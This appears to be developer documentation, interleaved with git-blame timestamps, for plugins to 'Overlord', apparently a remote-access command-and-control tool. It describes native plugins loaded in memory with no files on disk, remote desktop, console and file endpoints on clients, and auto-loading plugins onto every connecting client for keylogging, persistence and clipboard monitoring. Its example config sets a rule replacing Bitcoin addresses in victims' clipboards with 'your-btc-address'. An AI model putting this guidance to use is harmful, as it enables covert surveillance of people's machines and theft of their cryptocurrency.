2026-03-05 00:04:26 -06:00
# Overlord Plugins
2026-03-19 16:29:26 -05:00
This document explains how to build Overlord plugins using the **native plugin system** . Plugins run as native shared libraries (`.so` on Linux, `.dylib` on macOS, in-memory DLL on Windows), giving them full access to the Go runtime and system APIs.
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
> TL;DR: A plugin is a zip with platform-specific binaries (`.so`/`.dll`/`.dylib`) plus `<id>.html`, `<id>.css`, `<id>.js`. Upload it in the Plugins page or drop it in Overlord-Server/plugins.
2026-03-05 00:04:26 -06:00
## 1) How plugins are structured
### Required bundle format
A plugin bundle is a zip file named after the plugin ID:
```
<pluginId>.zip
```
2026-03-19 16:29:26 -05:00
Inside the zip (root level), you need:
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
- **Platform-specific binaries** named `<pluginId>-<os>-<arch>.<ext>`
- **Web assets**: `<pluginId>.html` , `<pluginId>.css` , `<pluginId>.js`
2026-03-05 00:04:26 -06:00
Example for plugin ID `sample` :
```
sample.zip
2026-03-19 16:29:26 -05:00
├─ sample-linux-amd64.so
├─ sample-linux-arm64.so
├─ sample-darwin-arm64.dylib
├─ sample-windows-amd64.dll
2026-03-05 00:04:26 -06:00
├─ sample.html
├─ sample.css
└─ sample.js
```
2026-03-19 16:29:26 -05:00
When the server extracts the zip:
2026-03-05 00:04:26 -06:00
```
2026-03-19 16:29:26 -05:00
Overlord-Server/plugins/sample/
├─ sample-linux-amd64.so
├─ sample-linux-arm64.so
├─ sample-darwin-arm64.dylib
├─ sample-windows-amd64.dll
├─ manifest.json (auto-generated)
2026-03-05 00:04:26 -06:00
└─ assets/
2026-03-19 16:29:26 -05:00
├─ sample.html
├─ sample.css
└─ sample.js
2026-03-05 00:04:26 -06:00
```
### Manifest fields
2026-03-19 16:29:26 -05:00
The auto-generated manifest:
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
```json
2026-03-05 00:04:26 -06:00
{
"id" : "sample" ,
"name" : "sample" ,
"version" : "1.0.0" ,
2026-03-19 16:29:26 -05:00
"binaries" : {
"linux-amd64" : "sample-linux-amd64.so" ,
"linux-arm64" : "sample-linux-arm64.so" ,
"darwin-arm64" : "sample-darwin-arm64.dylib" ,
"windows-amd64" : "sample-windows-amd64.dll"
},
2026-03-05 00:04:26 -06:00
"entry" : "sample.html" ,
"assets" : {
"html" : "sample.html" ,
"css" : "sample.css" ,
"js" : "sample.js"
}
}
```
2026-03-19 16:29:26 -05:00
The server picks the right binary for the target client's OS/arch when loading.
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
## 2) Build a native plugin
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
### Plugin contract
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
Plugins are Go packages that export specific functions. The core logic is shared across platforms, with thin platform-specific export wrappers.
All platforms use `-buildmode=c-shared` and export C-callable functions.
#### Linux / macOS (`.so` / `.dylib`)
```go
//export PluginOnLoad
func PluginOnLoad ( hostInfo * C . char , hostInfoLen C . int , cb C . uintptr_t , ctx C . uintptr_t ) C . int
//export PluginOnEvent
func PluginOnEvent ( event * C . char , eventLen C . int , payload * C . char , payloadLen C . int ) C . int
//export PluginOnUnload
func PluginOnUnload ()
2026-03-05 00:04:26 -06:00
```
2026-03-19 16:29:26 -05:00
The host passes a callback function pointer and context during OnLoad. The plugin calls the callback to send events back.
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
Build: `CGO_ENABLED=1 go build -buildmode=c-shared -o sample-linux-amd64.so ./native`
**On Linux, shared libraries are loaded entirely in memory via `memfd_create` — no files touch disk.**
#### Windows (`.dll`)
```go
//export PluginOnLoad
func PluginOnLoad ( hostInfo * C . char , hostInfoLen C . int , callbackPtr C . ulonglong ) C . int
//export PluginOnEvent
func PluginOnEvent ( event * C . char , eventLen C . int , payload * C . char , payloadLen C . int ) C . int
//export PluginOnUnload
func PluginOnUnload ()
//export PluginSetCallback
func PluginSetCallback ( callbackPtr C . ulonglong )
```
The callback is a stdcall function pointer: `func(eventPtr, eventLen, payloadPtr, payloadLen uintptr) uintptr`
Build: `CGO_ENABLED=1 GOOS=windows GOARCH=amd64 go build -buildmode=c-shared -o sample-windows-amd64.dll ./native`
**On Windows, DLLs are loaded entirely in memory — no files are written to disk.**
### HostInfo JSON
```json
{
"clientId" : "abc123" ,
"os" : "windows" ,
"arch" : "amd64" ,
"version" : "1.0.0"
}
```
### Project structure
See `plugin-sample-go/native/` for a working example:
```
plugin-sample-go/native/
├─ main.go (shared core logic)
├─ exports_unix.go (Go plugin exports for Linux/macOS)
├─ exports_windows.go (C-shared DLL exports for Windows)
└─ go.mod
```
### Build scripts
Use the provided build scripts:
```bash
# Linux/macOS — builds for current platform by default
./build-plugin.sh
# Build for multiple targets
BUILD_TARGETS = "linux-amd64 linux-arm64 darwin-arm64" ./build-plugin.sh
# Windows — builds windows-amd64 by default
build-plugin.bat
# Build for multiple targets
set BUILD_TARGETS = windows-amd64 linux-amd64
build-plugin.bat
```
2026-03-05 00:04:26 -06:00
## 3) Install & open a plugin
### Install / upload
2026-03-19 16:29:26 -05:00
- Use the UI at `/plugins` to upload the zip
- Or drop `<pluginId>.zip` into `Overlord-Server/plugins` and restart
2026-03-05 00:04:26 -06:00
### Open the UI
2026-03-19 16:29:26 -05:00
Plugin UI is served from:
2026-03-05 00:04:26 -06:00
```
/plugins/<pluginId>?clientId=<CLIENT_ID>
```
2026-03-19 16:29:26 -05:00
Your HTML loads its JS/CSS from `/plugins/<pluginId>/assets/` .
2026-03-05 00:04:26 -06:00
## 4) Runtime: how events flow
Overlord plugins have **two parts** :
2026-03-19 16:29:26 -05:00
1. **UI (HTML/CSS/JS)** — Runs in the browser, calls server APIs.
2. **Native module** — Runs in the agent (client) process as a loaded shared library.
2026-03-05 00:04:26 -06:00
### UI → agent (plugin event)
2026-03-19 16:29:26 -05:00
From your UI JS:
2026-03-05 00:04:26 -06:00
```
POST /api/clients/<clientId>/plugins/<pluginId>/event
{
"event": "ui_message",
"payload": { "message": "hello" }
}
```
2026-03-19 16:29:26 -05:00
If the plugin is not loaded yet, the server will load it on the client, queue the event, and deliver it once ready.
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
### Agent → plugin (direct function call)
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
The agent calls your `OnEvent(event, payload)` function directly with JSON-encoded data. No stdin/stdout pipes, no msgpack — just a direct function call.
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
### Plugin → agent (callback)
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
Your plugin sends events back to the host using the `send` callback received during `OnLoad` :
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
```go
send ( "echo" , [] byte ( `{"message":"hello back"}` ))
2026-03-05 00:04:26 -06:00
```
2026-03-19 16:29:26 -05:00
On Windows, the equivalent is calling the registered callback function pointer.
2026-03-05 00:04:26 -06:00
### Plugin lifecycle events
2026-03-19 16:29:26 -05:00
The agent sends these events to the server:
2026-03-05 00:04:26 -06:00
- `loaded` on successful load
- `unloaded` when unloaded
- `error` if load or runtime fails
## 5) What can plugins do?
2026-03-19 16:29:26 -05:00
Since plugins run as native code, they can:
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
- Call any system API (file I/O, network, processes, etc.)
- Use any Go library
- Spawn goroutines
- Access hardware
- Do anything a normal Go program can do
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
Plugins have the same capabilities as the agent itself.
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
### UI Security constraints
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
Plugin UI pages are still served with a tight CSP:
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
- Scripts must be same-origin
- No third-party JS/CDN
2026-03-05 00:04:26 -06:00
- WebSocket and fetch are allowed to same origin
2026-03-19 16:29:26 -05:00
Plugin UIs run in a **sandboxed iframe** with a fetch bridge.
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
## 6) API surface
2026-03-05 00:04:26 -06:00
### Plugin management
2026-03-23 10:58:52 -05:00
- `GET /api/plugins` — list installed plugins (includes `autoLoad` and `autoStartEvents` per plugin)
2026-03-05 00:04:26 -06:00
- `POST /api/plugins/upload` — upload zip
- `POST /api/plugins/<id>/enable` — enable/disable
2026-03-23 10:58:52 -05:00
- `POST /api/plugins/<id>/autoload` — configure auto-load on client connect
2026-03-05 00:04:26 -06:00
- `DELETE /api/plugins/<id>` — remove
### Per-client plugin runtime
- `POST /api/clients/<clientId>/plugins/<pluginId>/load`
- `POST /api/clients/<clientId>/plugins/<pluginId>/event`
- `POST /api/clients/<clientId>/plugins/<pluginId>/unload`
### Useful built-in endpoints
2026-03-19 16:29:26 -05:00
- `POST /api/clients/<clientId>/command`
2026-03-05 00:04:26 -06:00
- `WS /api/clients/<clientId>/rd/ws` (remote desktop)
- `WS /api/clients/<clientId>/console/ws`
- `WS /api/clients/<clientId>/files/ws`
- `WS /api/clients/<clientId>/processes/ws`
2026-03-23 10:58:52 -05:00
## 7) Auto-load plugins on client connect
By default, plugins are only loaded when manually triggered via the API or UI. For plugins that need to run 24/7 on every connected client (e.g. clipboard monitoring, keylogging, persistence), you can configure **auto-load** .
When auto-load is enabled for a plugin, the server will automatically load it onto every client that connects. If the client already has the plugin loaded, it's skipped — no duplicate loads.
You can also configure **auto-start events** — a list of events that are queued and delivered to the plugin immediately after it loads. This lets you pre-configure the plugin without any manual interaction.
### Enable auto-load
```
POST /api/plugins/<pluginId>/autoload
Content-Type: application/json
{
"autoLoad": true
}
```
### Enable auto-load with auto-start events
```
POST /api/plugins/<pluginId>/autoload
Content-Type: application/json
{
"autoLoad": true,
"autoStartEvents": [
{ "event": "add_rule", "payload": { "pattern": "^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$", "replacement": "your-btc-address" } },
{ "event": "start", "payload": {} }
]
}
```
The events in `autoStartEvents` are queued in order and delivered to the plugin after it reports `loaded` . This works exactly like calling the event API multiple times, but happens automatically.
### Disable auto-load
```
POST /api/plugins/<pluginId>/autoload
Content-Type: application/json
{
"autoLoad": false
}
```
### How it works
1. Client connects and completes the enrollment handshake
2. Server sends `hello_ack` (as usual)
3. Server dispatches auto-scripts (as usual)
4. Server checks all plugins with `autoLoad: true` and `enabled: true`
5. For each, if the plugin is **not already loaded** on that client:
- Sends the plugin binary bundle (chunked)
- Queues any `autoStartEvents`
6. When the plugin reports `loaded` , queued events are flushed in order
### Checking auto-load status
`GET /api/plugins` returns `autoLoad` and `autoStartEvents` for each plugin:
```json
{
"plugins" : [
{
"id" : "clipreplace" ,
"name" : "clipreplace" ,
"enabled" : true ,
"autoLoad" : true ,
"autoStartEvents" : [
{ "event" : "add_rule" , "payload" : { "pattern" : "..." , "replacement" : "..." } },
{ "event" : "start" , "payload" : {} }
],
"lastError" : ""
}
]
}
```
### Notes
- Auto-load respects the `enabled` flag — disabled plugins are never auto-loaded
- Auto-load state is persisted in `.plugin-state.json` and survives server restarts
- Deleting a plugin also removes its auto-load configuration
- The server selects the correct binary for each client's OS/architecture automatically
- If a plugin binary isn't available for a client's platform, the auto-load silently skips that client
2026-03-05 00:04:26 -06:00